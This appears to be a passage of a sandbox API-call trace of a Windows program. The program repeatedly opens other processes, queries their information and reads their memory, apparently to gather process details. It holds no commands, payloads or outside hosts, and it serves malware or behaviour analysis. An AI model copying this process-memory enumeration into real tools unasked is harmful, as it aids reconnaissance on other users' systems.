[0244.168] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0244.168] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0244.169] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1cf0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0244.169] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0244.170] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0244.171] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0244.171] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0244.171] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.171] malloc (_Size=0x72) returned 0x20abc2831b0 [0244.171] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0244.172] free (_Block=0x20abc2831b0) [0244.173] CloseHandle (hObject=0x464) returned 1 [0244.174] _ui64tow_s (in: _Value=0xe4c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3660") returned 0x0 [0244.177] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3660") returned 4 [0244.178] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.178] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0244.410] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x464 [0244.410] GetLastError () returned 0x0 [0244.411] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0244.411] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x275018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0244.412] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0244.412] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x151cb0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0244.412] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1518f8, lpBuffer=0x2dc24fc2d0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0244.413] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0244.417] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0244.417] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x275020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0244.417] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.417] malloc (_Size=0x60) returned 0x20abc2807d0 [0244.417] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x151950, lpBuffer=0x20abc2807d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0244.418] free (_Block=0x20abc2807d0) [0244.419] CloseHandle (hObject=0x464) returned 1 [0244.419] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0244.423] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3676") returned 4 [0244.424] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.424] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0244.439] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x464 [0244.439] GetLastError () returned 0x0 [0244.440] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0244.440] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0244.440] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0244.441] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x531cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0244.441] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5318f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0244.442] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0244.443] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0244.443] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0244.443] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5312e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.443] malloc (_Size=0x6a) returned 0x20abc284f50 [0244.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x53195a, lpBuffer=0x20abc284f50, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0244.444] free (_Block=0x20abc284f50) [0244.445] CloseHandle (hObject=0x464) returned 1 [0244.445] _ui64tow_s (in: _Value=0xe68, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3688") returned 0x0 [0244.656] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3688") returned 4 [0244.657] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.657] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0244.676] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe68) returned 0x464 [0244.676] GetLastError () returned 0x0 [0244.677] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0244.677] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0244.677] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0244.677] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0244.678] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x2dc24fc2d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0244.679] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0244.681] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0244.681] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0244.685] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.685] malloc (_Size=0x6c) returned 0x20abc284f50 [0244.685] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x59195c, lpBuffer=0x20abc284f50, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0244.686] free (_Block=0x20abc284f50) [0244.687] CloseHandle (hObject=0x464) returned 1 [0244.687] _ui64tow_s (in: _Value=0xe78, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0244.692] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3704") returned 4 [0244.693] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.693] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0244.887] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x464 [0244.887] GetLastError () returned 0x0 [0244.888] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0244.888] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x322018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0244.888] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0244.888] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0244.889] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0244.890] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0244.891] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0244.891] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x322020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0244.892] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.892] malloc (_Size=0x70) returned 0x20abc284f50 [0244.892] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1960, lpBuffer=0x20abc284f50, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0244.893] free (_Block=0x20abc284f50) [0244.893] CloseHandle (hObject=0x464) returned 1 [0244.894] _ui64tow_s (in: _Value=0xe80, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3712") returned 0x0 [0244.903] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3712") returned 4 [0244.904] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.904] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0245.031] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe80) returned 0x464 [0245.031] GetLastError () returned 0x0 [0245.032] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0245.032] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0245.032] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0245.032] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491cb0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0245.032] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4918f8, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0245.034] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0245.035] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0245.035] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0245.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.036] malloc (_Size=0x5e) returned 0x20abc280370 [0245.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49194e, lpBuffer=0x20abc280370, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280370*, lpNumberOfBytesRead=0x0) returned 1 [0245.036] free (_Block=0x20abc280370) [0245.037] CloseHandle (hObject=0x464) returned 1 [0245.038] _ui64tow_s (in: _Value=0xe8c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3724") returned 0x0 [0245.042] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3724") returned 4 [0245.044] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.044] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0245.060] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe8c) returned 0x464 [0245.060] GetLastError () returned 0x0 [0245.061] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0245.061] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0245.062] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0245.062] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x901ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0245.062] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9018f8, lpBuffer=0x2dc24fc2d0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0245.063] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0245.065] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0245.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0245.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9012e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.065] malloc (_Size=0x70) returned 0x20abc2831b0 [0245.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x901960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0245.066] free (_Block=0x20abc2831b0) [0245.067] CloseHandle (hObject=0x464) returned 1 [0245.067] _ui64tow_s (in: _Value=0xe94, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3732") returned 0x0 [0245.151] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3732") returned 4 [0245.152] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.152] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0245.168] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe94) returned 0x464 [0245.168] GetLastError () returned 0x0 [0245.169] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0245.169] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x308018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0245.169] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0245.170] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x521d10, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0245.170] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5218f8, lpBuffer=0x2dc24fc2d0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0245.171] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0245.172] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0245.173] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x308020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0245.173] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5212e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.173] malloc (_Size=0x80) returned 0x20abc2abe80 [0245.173] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x521970, lpBuffer=0x20abc2abe80, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2abe80*, lpNumberOfBytesRead=0x0) returned 1 [0245.174] free (_Block=0x20abc2abe80) [0245.175] CloseHandle (hObject=0x464) returned 1 [0245.175] _ui64tow_s (in: _Value=0xeac, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0245.180] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: 